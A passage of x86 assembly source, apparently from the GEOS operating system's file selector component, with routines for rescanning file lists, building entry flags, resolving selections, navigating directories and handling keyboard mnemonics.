cmp cx, -1 ;any entry?
je noneSelected
call OLFSSetFileTableSelection
push dx, di, si
call ObjBlockGetOutput ;^lbx:si = DocCtrl obj
mov cx, MSG_GEN_SET_ENABLED
mov ax, MSG_OLDC_NOTIFY_EDIT
mov di, mask MF_FIXUP_DS
call ObjMessage
pop dx, di, si
jmp alreadyVisible
noneSelected:
;
; If cx = -1, that means there is no document, so we need to disable
; the "Title" button.
;
push dx, di, si
call ObjBlockGetOutput
mov cx, MSG_GEN_SET_NOT_ENABLED
mov dl, VUM_NOW
mov ax, MSG_OLDC_ENABLE_DISABLE_RENAME
mov di, mask MF_FIXUP_DS
call ObjMessage
pop dx, di, si
jmp alreadyVisible
else
call OLFSSetGenItemSelection
endif
alreadyVisible:
;
; show current directory
; *ds:si = OLFileSelector instance
;
pop bp ; bp = new entry selected
pop si ; *ds:si = OLFileSelector inst.
push si ; save again
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
call OLFSShowCurrentDir ; preserves bp
endif
; (invalidates chunk pointers)
;
; update selected item in "Change Drive" popup list
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
call OLFSSelectCurrentDriveInChangeDrivePopup
endif
;
; notify AD of new selection or that there are no files
; bp = new entry selected
;
pop si ; *ds:si = OLFileSelector
;
; build GenFileSelectorEntryFlags for new entry and send to AD
; *ds:si = file selector
; bp = entry #
;
call OLFSBuildEntryFlagsAndSendAD
pop di
call ThreadReturnStackSpace
;
; If file selector has focus, give focus to list, as that is what the
; user normally wants
; *ds:si = file selector
;
mov ax, MSG_VIS_VUP_QUERY_FOCUS_EXCL
call ObjCallInstanceNoLock ; ^lcx:dx = focus object
call OLFSDeref_SI_Spec_DI
cmp ds:[di].OLFSI_uiBlock, cx ; is it one of ours?
jne done ; nope, we don't have focus
mov bx, cx ; else, give focus to list
;
; This part is commented out for Jedi because we don't want the table
; object get the focus. There are some weird behaviors on the function
; keys (bug #33634) when the table object gets the focus.
;
mov si, offset OLFileSelectorFileList
grabFocus::
mov ax, MSG_META_GRAB_FOCUS_EXCL
mov di, mask MF_FORCE_QUEUE or mask MF_FIXUP_DS
call ObjMessage
done:
ret
OLFSRescanLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSBuildEntryFlagsAndSendAD
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: build GenFileSelectorEntryFlags and send to AD
CALLED BY: INTERNAL
OLFSRescanLow
OLFileSelectorSetSelection
PASS: *ds:si = file selector
bp = entry #
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 03/05/90 broken out for general use
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSBuildEntryFlagsAndSendAD proc near
class OLFileSelectorClass
uses es, si
.enter
call OLFSDeref_SI_Spec_DI
mov cx, bp ; cx <- entry #
clr bp ; no additional flags
call OLFSBuildEntryFlagsAndSendADLow
tst bx
jz done
call MemUnlock
done:
.leave
ret
OLFSBuildEntryFlagsAndSendAD endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSBuildEntryFlagsAndSendADLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Really low-level routine shared by OLFSBuildEntryFlagsAndSendAD
and OLFileSelectorListMethod to accomplish the same thing.
CALLED BY: INTERNAL
OLFSBuildEntryFlagsAndSendAD, OLFileSelectorListMethod
PASS: ds:di = OLFileSelectorInstance
cx = entry # (-1 if no entries)
bp = initial GenFileSelectorEntryFlags
RETURN: es:si = locked OLFileSelectorEntry
(not valid if bx = 0)
bx = handle of file buffer
(0 if no buffer)
DESTROYED: ax, bp, cx, dx
si if RUDY and non-exclusive file selector
PSEUDO CODE/STRATEGY:
For non-exclusive file selectors (Rudy), we ignore the
passed in entry, and query for the list of selected
files. Then, place a loop around the code that fetches a
single file's information. The code reads sort of like this:
setup
#if NON_EXCLUSIVE
get selections
for (n=0; n<numSelections; n++) {
set up for calculating flags of N'th selected file
#endif
compute flags for file
#if NON_EXCLUSIVE
combine file's flags in with group
}
#endif
send notification message
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/13/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSBuildEntryFlagsAndSendADLow proc near
class OLFileSelectorClass
.enter
mov dx, si ; preserve our chunk
mov ax, cx ; ax = entry #
; showing parent dir?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz actualBufferEntry ; no, use actual buffer entry
tst ax ; first entry?
jnz bufferEntry ; no, is buffer entry
;
; build entry flags for first entry (current directory)
; bp = initial GenFileSelectorEntryFlags
;
ornf bp, GFSET_SUBDIR shl offset GFSEF_TYPE ; update initial flags
;XXX set READ_ONLY bit?
noBuffer:
mov cx, bp ; cx - initial flags
mov bx, 0 ; no buffer to unlock
jmp checkNoEntries
bufferEntry:
dec cx ; adjust to buffer entry #
actualBufferEntry:
;
; if no files, skip flag setting via buffer
;
tst ds:[di].OLFSI_numFiles ; any files?
jz noBuffer ; nope
doMultiple::
;
; Point es:si to the OLFileSelectorEntry for the passed entry number
;
call OLFSDerefIndexBuffer ; si = offset into file buffer
mov bx, ds:[di].OLFSI_fileBuffer ; lock file buffer
call OLFSMemLock_ES ; es:si = entry to open
;
; Now go through the involved process of constructing the GFSEF
; flags for the beast. Start by determining the type of entry
; we've got.
;
mov cx, bp ; cx <- initial flags
CheckHack <GFSET_VOLUME eq GFSET_SUBDIR+1 and \
GFSET_SUBDIR eq GFSET_FILE+1>
;
; If it's a disk drive (FA_VOLUME is set), there are no other flags to
; set besides the type.
;
ornf cx, GFSET_VOLUME shl offset GFSEF_TYPE ; assume showing volume
test es:[si].OLFSE_fileAttrs, mask FA_VOLUME
jnz endSettingFlags
;
; Assume it's a directory instead. If so, we have only the
; read-only flag to check.
;
sub cx, 1 shl offset GFSEF_TYPE ; assume click on subdir
test es:[si].OLFSE_fileAttrs, mask FA_SUBDIR ; a directory?
jnz checkReadOnly ; yes
;
; Else the thing is a regular file, so adjust the type...
;
sub cx, 1 shl offset GFSEF_TYPE ; is file
;
; And merge in the document flags from OLFSE_fileFlags.
;
CheckHack <offset GFHF_TEMPLATE eq 15 and \
offset GFHF_SHARED_MULTIPLE eq 14 and \
offset GFHF_SHARED_SINGLE eq 13 and \
offset GFSEF_TEMPLATE eq 10 and \
offset GFSEF_SHARED_MULTIPLE eq 9 and \
offset GFSEF_SHARED_SINGLE eq 8>
mov cl, es:[si].OLFSE_fileFlags.high
andnf cl, (mask GFHF_TEMPLATE or mask GFHF_SHARED_MULTIPLE or \
mask GFHF_SHARED_SINGLE) shr 8
rol cl ; rotate the GFHF flags into their
rol cl ; corresponding positions in the GFSEF
rol cl ; record
ornf ch, cl ; and merge them into same
clr cl ; no flags in low byte, yet...
if FSEL_DISABLES_FILTERED_FILES
;
; Check if the entry is in the rejected list (entry is filtered out)
; if this is the case then add GFSEF_DISABLED to cx.
;
call OLFSCheckIfDisabled ; cx <- GenFileSelectoryEntryFlags
endif ; FSEL_DISABLES_FILTERED_FILES
checkReadOnly:
;
; If entry is read-only, set the appropriate flag.
;
test es:[si].OLFSE_fileAttrs, mask FA_RDONLY
jz endSettingFlags
ornf cx, mask GFSEF_READ_ONLY
endSettingFlags:
checkNoEntries:
;
; If no files, set GFSEF_NO_ENTRIES
;
tst ds:[di].OLFSI_numFiles
jnz haveFiles
ornf cx, mask GFSEF_NO_ENTRIES
haveFiles:
;
; If the entry # is 0, then this is the parent directory entry
;
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz notParentDir ; no, don't set flag
tst ax
jnz notParentDir
ornf cx, mask GFSEF_PARENT_DIR
notParentDir:
;
; If error signaled, set the appropriate flag and clear the error,
; unless handling MSG_GEN_FILE_SELECTOR_OPEN_ENTRY, as error flag
; will be returned by that message's handler instead.
;
test ds:[di].OLFSI_state, mask OLFSS_FORCE_OPEN
jnz sendAD
test ds:[di].OLFSI_state, mask OLFSS_RESCAN_ERROR
jz sendAD
ornf cx, mask GFSEF_ERROR
andnf ds:[di].OLFSI_state, not mask OLFSS_RESCAN_ERROR
sendAD:
; *ds:dx = file selector
; ax = entry #
; cx = GenFileSelectorEntryFlags
; es:si = OLFileSelectorEntry
; bx = fileBuffer handle.
; if RUDY & non-exclusive,
; bp = GenFileSelectorEntryFlags mask
; ax = number of selections
; si = handle of selections block
xchg si, dx ; *ds:si = OLFileSelector
call OLFSSendAD ; destroys nothing
mov si, dx ; es:si <- entry again
.leave
ret
OLFSBuildEntryFlagsAndSendADLow endp
if FSEL_DISABLES_FILTERED_FILES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSCheckIfDisabled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks if the entry is in the reject list, if the
GFSEF_DISABLED flag is set.
CALLED BY: (INTERNAL) OLFSBuildEntryFlagsAndSendADLow
PASS: ds:di = OLFileSelectorInstance
es:si = OLFileSelectorEntry
cx = GenFileSelectorEntryFlags
RETURN: cx = GenFileSelectorEntryFlags
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
SH 10/ 6/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSCheckIfDisabled proc near
uses ax,bx,dx,si,di,es
.enter
;
; see if file was rejected by filter routine
;
mov dx, ds:[di].OLFSI_numRejects
tst dx
jz noRejects
mov ax, ds:[di].OLFSI_rejectList
tst ax
jz noRejects
mov_tr bx, ax
call MemLock
jc noRejects ; bail if lock error
push cx
pushdw es:[si].OLFSE_id
mov es, ax ; es:di = first FileID in reject list
clr di
mov cx, dx ; cx <- number of rejects
popdw dxax
checkRejectLoop:
cmp ({FileID}es:[di]).high, dx
jne tryNext
cmp ({FileID}es:[di]).low, ax
je unlockDisable ; found in reject list, disable (C clr)
tryNext:
add di, size FileID ; move to next FileID
loop checkRejectLoop
stc ; not in reject list
unlockDisable:
call MemUnlock ; unlock reject list (saves flags)
pop cx
;
; If the the carry is not set then we have a disabled file and we
; set the appropriate flag.
;
jc noRejects
ornf cx, mask GFSEF_DISABLED
noRejects:
.leave
ret
OLFSCheckIfDisabled endp
endif ;FSEL_DISABLES_FILTERED_FILES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSResolveSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set current selection
CALLED BY: INTERNAL
OLFileSelectorSetSelection
OLFSRescanLow
PASS: ds:di = generic instance
ds:si = specific instance
RETURN: dx = entry number to select
carry clear if selection passed AND found
carry set otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Resolving '.' (the current directory first entry) will fail
to find a match in the file buffer, causing the first entry
to be selected. This is the desired result.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 03/02/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSResolveSelection proc near
uses ax, bx, cx, ds, si, es, di
class OLFileSelectorClass
matchString local fptr
matchFound local byte
.enter
mov matchFound, 0 ; no match
mov dx, 0 ; assume no files
; (assume select first entry)
; showing parent directory?
test ds:[si].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jnz haveDefaultSelection ; yes, use dx=0
dec dx ; else, use dx=-1 (no selection)
haveDefaultSelection:
cmp ds:[si].OLFSI_numFiles, 0 ; any files?
LONG je exit ; no, select first entry
; current dir (dx = 0)
add di, offset GFSI_selection ; ds:di = match string
SBCS < cmp {byte} ds:[di], 0 ; null string? >
DBCS < cmp {wchar}ds:[di], 0 ; null string? >
LONG je exitWithFirstEntry ; yes, select first entry
mov matchString.segment, ds ; save string to match
mov matchString.offset, di
mov di, si ; ds:di = specific instance
mov bx, ds:[di].OLFSI_indexBuffer ; lock index buffer
tst bx
jz exitWithFirstEntry ; no buffer, select first entry
push ds, di ; save specific instance
push ds:[di].OLFSI_fileBuffer ; get file buffer
mov cx, ds:[di].OLFSI_numFiles ; cx = file count
call MemLock
mov ds, ax ; ds:si = index buffer
clr si
pop bx
call OLFSMemLock_ES ; lock file buffer
mov ss:[matchFound], 1
fileLoop:
inc dx ; advance counter to next entry
lodsw ; ax = file buffer offset
mov di, ax ; es:di = entry
push ds, si, di, cx ; save stuff
lds si, matchString ; ds:si = string to match
add di, offset OLFSE_name ; offset to name
if DBCS_PCGEOS
call LocalStringLength ;cx <- length w/o NULL
inc cx ;cx <- length w/ NULL
else
push di ; save entry name
mov cx, -1
clr al ; find null-terminator
repne scasb
not cx ; cx = entry name length + null
pop di ; retrieve entry name
endif
SBCS < repe cmpsb ; does it match desired name?>
DBCS < repe cmpsw ; does it match desired name?>
pop ds, si, di, cx ; retrieve stuff
loopne fileLoop
je unlockBuffers
clr dx ; select first entry
mov ss:[matchFound], 0
unlockBuffers:
pop ds, di ; retrieve specific instance
mov bx, ds:[di].OLFSI_fileBuffer
call MemUnlock ; unlock file buffer
mov bx, ds:[di].OLFSI_indexBuffer
call MemUnlock ; unlock index buffer
exit:
cmp matchFound, 1 ; matchFound = 0 if not found
; matchFound = 1 if found
; -> C set if not found
; -> C clear if found
.leave
ret ; <<--- EXIT HERE
exitWithFirstEntry:
mov dx, 0 ; select first entry
mov ss:[matchFound], 1 ; indicate selection found
jmp short exit
OLFSResolveSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorUpDirectory
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: go up one directory
CALLED BY: MSG_GEN_FILE_SELECTOR_UP_DIRECTORY
PASS: *ds:si - instance of OLFileSelector
ax = MSG_OL_FILE_SELECTOR_PATH_BUTTON
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 01/31/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorUpDirectory method dynamic OLFileSelectorClass, \
MSG_GEN_FILE_SELECTOR_UP_DIRECTORY,
MSG_OL_FILE_SELECTOR_CLOSE_DIR_BUTTON
; showing parent dir entry?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz reallyGoUp ; nope, go really up
push si ; save OLFileSelector chunk
mov bx, ds:[di].OLFSI_uiBlock ; ^lbx:si = dynamic list
mov si, offset OLFileSelectorFileList
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax = current selection
pop dx ; restore OLFileSelector chunk
tst ax ; first entry selected?
jz goUp ; if so, then really go up
;
; just move selection to first entry
;
push dx ; save OLFileSelector chunk
clr cx ; set first entry
if _FILE_TABLE
call OLFSSetFileTableSelection
else
call OLFSSetGenItemSelection
endif
clr bp ; bp = first entry
pop si ; *ds:si = OLFileSelector
call OLFSBuildEntryFlagsAndSendAD
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
call OLFSShowCurrentDir ; update to reflect new
; selection
endif
jmp short done
goUp:
mov si, dx ; *ds:si = OLFileSelector
reallyGoUp:
mov cx, OLFS_UP_DIRECTORY_ENTRY_NUM ; else, go up one level
call OLFileSelectorListMethod
done:
ret
OLFileSelectorUpDirectory endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorDocumentButtonHandler
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: go to document directory and turn on "can't navigate
above current directory" mode, if requested
CALLED BY: MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON
PASS: *ds:si - instance of OLFileSelector
ax = MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/2/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorDocumentButtonHandler method dynamic OLFileSelectorClass, \
MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON
if SINGLE_DRIVE_DOCUMENT_DIR
mov al, DOCUMENT_DRIVE_NUM ; brute force disk check,
call DiskRegisterDisk ; to avoid weird DOS problems
jc error ; with the disk not being in
; the drive on startup, and
; to speed things up. 1/21/94
endif
;
; Change to the document directory
;
NOFXIP< mov cx, cs >
NOFXIP< mov dx, offset rootPath >
FXIP < push ds >
FXIP < segmov ds, cs, dx >
FXIP < mov dx, offset rootPath >
FXIP < clr cx >
FXIP < call SysCopyToStackDSDX >
FXIP < mov cx, ds ; cx:dx = string >
FXIP < pop ds >
mov bp, SP_DOCUMENT
mov ax, MSG_OL_FILE_SELECTOR_PATH_SET
call ObjCallInstanceNoLock
FXIP < call SysRemoveFromStack >
jc error ; error
;
; update "Change Drive" popup moniker to show DOCUMENT drive
;
mov dx, FALSE ; set back to "Change Drives"
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
call OLFSUpdateChangeDrivePopupMoniker
endif
;
; update selected item in "Change Drive" popup list
;
updateDrive:
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
call OLFSSelectCurrentDriveInChangeDrivePopup
endif
jmp short done
error:
push si ; save FS chunk
call OLFSNotifyUserOfDiskError ; report error and leave
; current filelist
pop si ; restore FS chunk
if not SINGLE_DRIVE_DOCUMENT_DIR
jmp short updateDrive ; restore selected drive
endif
done:
ret
OLFileSelectorDocumentButtonHandler endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorOpenEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open entry specified. This should be used to manually open
a directory or a volume, as needed when user clicks a
"Open"-type button that is in the same dialog box as the
GenFileSelector. Has no effect if entry is a file.
Typically, the entry number passed will have been extracted
from the GenFileSelectorEntryFlags sent to the action
descriptor, or returned from MSG_GEN_FILE_SELECTOR_GET_SELECTION.
Only valid after GenFileSelector is made visible, as the file
list is destroyed when the File Selector is brought off the
screen.
CALLED BY: MSG_GEN_FILE_SELECTOR_OPEN_ENTRY
PASS: *ds:si = OLFileSelector instance
cx = entry #
RETURN: carry clear if no error
carry set if error
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 02/21/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorOpenEntry method dynamic OLFileSelectorClass, \
MSG_GEN_FILE_SELECTOR_OPEN_ENTRY
; showing parent dir?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz skipParentDirCheck ; nope, skip special check
jcxz done ; no effect on first entry
skipParentDirCheck:
mov ax, ds:[di].OLFSI_numFiles ; ax = number of files
tst ax
jz error ; no files -> indicate error
cmp cx, ax
;if there are X files and OLFSS_SHOW_PARENT_DIR is set, then the maximum entry
;number is X because of first entry for current directory. If
;OLFSS_SHOW_PARENT_DIR is not set, then the maximum entry number is X-1, as
;entry numbers are 0-based. OLFileSelectorDoublePress deals with this before
;accessing file buffer
EC < ERROR_A OL_FILE_SELECTOR_BAD_ENTRY_NUMBER >
EC < test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR >
EC < jnz validEntry >
EC < cmp cx, ax >
EC < ERROR_AE OL_FILE_SELECTOR_BAD_ENTRY_NUMBER >
NEC < ja error >
NEC < test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR >
NEC < jnz validEntry >
NEC < cmp cx, ax >
NEC < jae error >
validEntry:
; force opening of dirs/vols
ornf ds:[di].OLFSI_state, mask OLFSS_FORCE_OPEN
push si ; save instance handle
; simulate double-click
call OLFileSelectorDoublePress ; (may set OLFSS_RESCAN_ERROR)
pop si ; retrieve instance handle
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
andnf ds:[di].OLFSI_state, not mask OLFSS_FORCE_OPEN
; assume no error
test ds:[di].OLFSI_state, mask OLFSS_RESCAN_ERROR
jz done ; no error (carry clear)
; else, clear error flag...
andnf ds:[di].OLFSI_state, not mask OLFSS_RESCAN_ERROR
error:
stc ; ...and indicate error
done:
ret
OLFileSelectorOpenEntry endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorSuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Begin suspension of file selector rescanning to allow
changing mulitple attributes with having multiple rescans.
Only the following attribute setting methods are affect:
MSG_GEN_FILE_SELECTOR_SET_SELECTION
MSG_GEN_FILE_SELECTOR_SET_PATH
MSG_GEN_FILE_SELECTOR_SET_MASK
MSG_GEN_FILE_SELECTOR_SET_FILE_ATTRS
MSG_GEN_FILE_SELECTOR_SET_TOKEN
MSG_GEN_FILE_SELECTOR_SET_CREATOR
MSG_GEN_FILE_SELECTOR_SET_GEODE_ATTR
MSG_GEN_FILE_SELECTOR_SET_ATTRS
MSG_GEN_FILE_SELECTOR_SET_FILE_CRITERIA
CALLED BY: MSG_GEN_FILE_SELECTOR_SUSPEND
PASS: *ds:si - OLFileSelector instance
RETURN: carry clear if successful
carry set if already suspended
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 04/08/91 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorSuspend method dynamic OLFileSelectorClass, \
MSG_GEN_FILE_SELECTOR_SUSPEND
test ds:[di].OLFSI_state, mask OLFSS_SUSPENDED
stc ; assume already suspended
jnz done
; else, suspend
ornf ds:[di].OLFSI_state, mask OLFSS_SUSPENDED
done:
ret
OLFileSelectorSuspend endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorEndSuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: End suspension of file selector rescanning. File selector
is rescanned with current attributes.
CALLED BY: MSG_GEN_FILE_SELECTOR_END_SUSPEND
PASS: *ds:si - OLFileSelector instance
RETURN: carry clear if successful (file list rescanned)
carry set if not suspended
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 04/08/91 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorEndSuspend method dynamic OLFileSelectorClass, \
MSG_GEN_FILE_SELECTOR_END_SUSPEND
test ds:[di].OLFSI_state, mask OLFSS_SUSPENDED
stc ; assume not suspended
jz done
; else, end suspension
mov ax, ds:[di].OLFSI_state
andnf ds:[di].OLFSI_state, not (mask OLFSS_SUSPENDED or \
mask OLFSS_RESCAN_NEEDED)
test ax, mask OLFSS_RESCAN_NEEDED
jz done
mov ax, MSG_GEN_FILE_SELECTOR_RESCAN
call ObjCallInstanceNoLock
done:
ret
OLFileSelectorEndSuspend endm
COMMENT @----------------------------------------------------------------------
FUNCTION: OLFileSelectorActivateObjectWithMnemonic --
MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC handler
DESCRIPTION: Looks at its vis moniker to see if its mnemonic matches
that key currently pressed.
PASS: *ds:si = instance data for object
ax = MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC
cx = charValue
dl = CharFlags
CF_RELEASE - set if release
CF_STATE - set if shift, ctrl, etc.
CF_TEMP_ACCENT - set if accented char pending
dh = ShiftState
bp low = ToggleState (unused)
bp high = scan code (unused)
RETURN: carry set if found, clear otherwise
DESTROYED: bx, si, di, ds, es
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 1/92 Initial version
------------------------------------------------------------------------------@
OLFileSelectorActivateObjectWithMnemonic method OLFileSelectorClass, \
MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC
call VisCheckIfFullyEnabled
jnc noActivate
;XXX: skip if menu?
call VisCheckMnemonic
jnc noFSMatch
;
; mnemonic matches, give focus to list
;
call OLFSDeref_SI_Spec_DI ; ds:di = OLFSI_*
mov bx, ds:[di].OLFSI_uiBlock
mov si, offset OLFileSelectorFileList
mov ax, MSG_META_GRAB_FOCUS_EXCL
sendMessage:
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
done:
stc ;handled
jmp short exit
noFSMatch:
;
; remove hidden keyboard mnenonics, too easily conflicts with other mnemonics
; in window containing file selector - brianc 3/4/93
;
if 0
;
; check if mnemonic matches "Open" or "Close" mnemonics
; cl = character
;
; XXX: update this if mnemonic for "Close" changes
; XXX: update this if mnemonic for "Open" changes
;
cmp cl, 'r'
je open
cmp cl, 'R'
jne notOpen
open:
mov ax, MSG_OL_FILE_SELECTOR_OPEN_DIR_BUTTON
jmp short sendButtonMessage
notOpen:
cmp cl, 'l'
je close
cmp cl, 'L'
jne notClose
close:
mov ax, MSG_OL_FILE_SELECTOR_CLOSE_DIR_BUTTON
sendButtonMessage:
call ObjCallInstanceNoLock
jmp short done
notClose:
endif
;
; add in hidden mnemonic for drive popup, which loses mnemonic when changed
; to drive letter:[drive name] - brianc 3/28/93
;
; no ChangeDrivePopup for WIZARDBA
;
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP
call OLFSDeref_SI_Gen_DI ; ds:di = GFSI_*
test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST
jz notDrivePopup
LocalCmpChar cx, 'v'
je openDrivePopup
LocalCmpChar cx, 'V'
jne notDrivePopup
openDrivePopup:
mov ax, MSG_GEN_ACTIVATE
mov di, offset OLFileSelectorChangeDrivePopup
call OLFSCallUIBlockGadget ;ax = entry number
jmp short done
notDrivePopup:
endif
noActivate:
;
; let superclass call children, since either were are not fully
; enabled, or our mnemonic doesn't match, superclass won't be
; activating us, just calling our children
;
mov ax, MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC
mov di, offset OLFileSelectorClass
call ObjCallSuperNoLock
exit:
Destroy ax, cx, dx, bp
ret
OLFileSelectorActivateObjectWithMnemonic endm
;
; miscellaneous byte-saving routines
;
OLFSMemLock_ES proc near
push ax
call MemLock
mov es, ax
pop ax
ret
OLFSMemLock_ES endp
OLFSDeref_SI_Gen_DI proc near
EC < call ECCheckObject >
mov di, ds:[si]
add di, ds:[di].Gen_offset
ret
OLFSDeref_SI_Gen_DI endp
OLFSDeref_SI_Spec_DI proc near
EC < call ECCheckObject >
mov di, ds:[si]
add di, ds:[di].Vis_offset
ret
